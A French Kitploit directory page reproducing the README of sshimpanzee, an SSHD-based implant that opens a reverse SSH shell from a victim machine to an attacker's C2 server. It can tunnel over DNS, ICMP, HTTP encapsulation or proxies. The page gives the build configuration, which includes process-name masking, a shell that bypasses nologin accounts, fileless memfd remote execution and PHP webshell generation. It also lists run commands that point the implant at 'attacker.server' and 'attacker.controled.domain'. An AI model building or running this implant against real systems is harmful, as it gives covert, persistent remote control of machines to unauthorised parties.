Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
sshimpanzee — Implant basé sur SSHD prenant en charge des mécanismes de tunneling pour atteindre le C2 (DNS, ICMP, HTTP Encapsulation, HTTP/Socks Proxies, UDP...) | Kitploit
Outils/GitHubGitHub/lexfo/sshimpanzee
Génération de PayloadsPost-ExploitationSécurité RéseauCommandement et ContrôleRed TeamingOutil d'Accès à DistanceAnalyse DNS
GitHublexfo/sshimpanzee

sshimpanzee

Implant basé sur SSHD prenant en charge des mécanismes de tunneling pour atteindre le C2 (DNS, ICMP, HTTP Encapsulation, HTTP/Socks Proxies, UDP...)

Voir le dépôt
2932920il y a 1 anVérifié par Kitploit
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Sshimpanzee

Sshimpanzee vous permet de construire un serveur ssh inverse statique. Au lieu d'écouter sur un port et d'attendre des connexions, le serveur ssh initie une connexion inversée vers l'IP de l'attaquant, comme un shell inversé classique. Sshimpanzee vous permet de profiter de toutes les fonctionnalités d'une connexion ssh classique, comme les redirections de ports, les proxys socks dynamiques, ou le serveur FTP.

Plus important encore, si une connexion directe de la machine victime au serveur attaquant n'est pas possible, il fournit différents mécanismes de tunnelisation tels que le Tunnel DNS, le Tunnel ICMP, ou l'Encapsulation HTTP. Il supporte également les proxys HTTP et SOCKS5. Un document technique est disponible sur le blog de lexfo.

CONSTRUCTION DOCKER - RECOMMANDÉE

sudo docker build . --output . 
sudo docker build . --platform arm64 --output . 

Vous devrez peut-être activer la variable d'environnement DOCKER_BUILDKIT=1

Fichier de compilation

La construction est basée sur le fichier build.yaml :


###
# This is sshimpanzee build configuration file
# YAML is used to describe what behaviour and feature should the sshimpanzee get
###

### General config

process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)


banner: True # Should the banner be displayed at log
verbose: 3 # Verbosity level as written in build/build.log

shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell
timer: 60*1000*1000  # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead

keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used
public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"

make: True # Keep it to true if you want the builder script to generate sshd binary
force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances
reconf: True # Required for docker builds


### Environment
# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior


env:
  if_not_set : # Variable here will be set if they do not already exists
    REMOTE: 127.0.0.1
    PORT: 8080
    MODE: sock # MODE environment variable is used to manage the default tunnel
  overwrite: # Variable here will overwrite already existent 
    

### Tunnels
# sshimpanzee come with different tunneling mecanisms
# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels
# Tunnel compilation parameters can be specified here 
tun:
  sock:
      enabled: True

  icmp:
      enabled: True
      buildserv: True # should the corresponding ICMPTunnel server be built 
      raw_sock: False # build with support for raw sock for older kernels

  http_enc :
      enabled: True
      key: # web shell key, empty will result in a new key being generated
      target:
        - "php" # list of language you want to generate webshells for 
      path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells

  dns:
      enabled: True    
      resource: sshimpanzee # DNS2TCP Resource
      key: sshimpanzee # DNS2TCP key
      obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver
      buildserv: False 
      qtype: TXT # Type of query used by DNS2TCP

  proxysock:
      enabled: True

  no_build:
      enabled: False 
      path: []

# Openssh subsystems
# man sshd_config Subsystems

subsystems:

  internal_sftp: # standard sftp as provided by openssh 
    enabled: True # It is required for scp and sftp
    name: sftp
    exec: internal-sftp
    is_internal: True
    
  remote_exec: # Sshimpanzee custom subsystem
    enabled: True # remote execution using fileless memfd technique
    name: remote-exec
    exec: internal-remote-exec
    is_internal: True

  python: # example of a stadard ssh subsystem
    enabled: False
    name: python
    exec: /usr/bin/python -c "print('python code')"
    is_internal: False

Utilisation

Au moment de l'exécution, le binaire sshimpanzee est configuré via des variables d'environnement. La variable MODE permet à l'utilisateur de sélectionner parmi les tunnels compilés. Chaque tunnel peut être configuré via des variables d'environnement. Par exemple, pour obtenir une connexion inversée classique vers 127.0.0.1:8080, utilisez les commandes suivantes :

MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

Il est possible d'exécuter sshimpanzee en mode débogage avec -d. En mode débogage, sshimpanzee reste au premier plan.

Tunnels

Actuellement, sshimpanzee supporte plusieurs moyens pour que l'implant atteigne le client ssh attaquant :

  • Tunnel DNS utilisant le protocole dns2tcp
  • Proxy : HTTP/SOCKS4/SOCKS5
  • Sockets : (peut être utile si vous voulez implémenter vos propres tunnels)
  • Tunnel ICMP
  • Encapsulation HTTP

Connexion Sock

  1. Exécutez ssh côté client comme suit :
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. Exécutez sshimpanzee sur la cible :
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee 

Autres exemples :

MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # bind and listen to 127.0.0.1:8080

MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Connect to unix socket /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Bind and listen to /tmp/sock unix socket 

Connexion via proxy

  1. Exécutez ssh côté client comme suit :
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
  1. Exécutez sshimpanzee sur la cible :
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee

Autres exemples :

MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee

Utilisation du Tunnel DNS

  1. Sur votre serveur, exécutez le dns2tcpd standard en utilisant le fichier de configuration de ce dépôt. Vous devrez modifier le domaine (et le port de la ressource si vous le souhaitez).
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
sudo ./dns2tcpd -F -f dns2tcpdrc
  1. Exécutez ssh côté client comme suit :
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. Exécutez le binaire sshimpanzee :
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee

Autres exemples :

MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Force the use of 8.8.8.8 DNS Resolver

Utilisation du Tunnel ICMP

  1. Sur votre serveur, ajoutez les bonnes capacités pour éviter d'exécuter la commande proxy en tant que root et désactivez la réponse ping du système :
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all 
  1. Exécutez le client ssh standard avec icmptunnel comme commande proxy :
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT 
  1. Exécutez le binaire sshimpanzee :
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee 

Utilisation de l'Encapsulation HTTP (ssh -> serveur http -> sshd)

  1. Téléchargez les fichiers /tuns/http_enc/proxy.php et sshd sur votre serveur web cible
Télécharger l’outil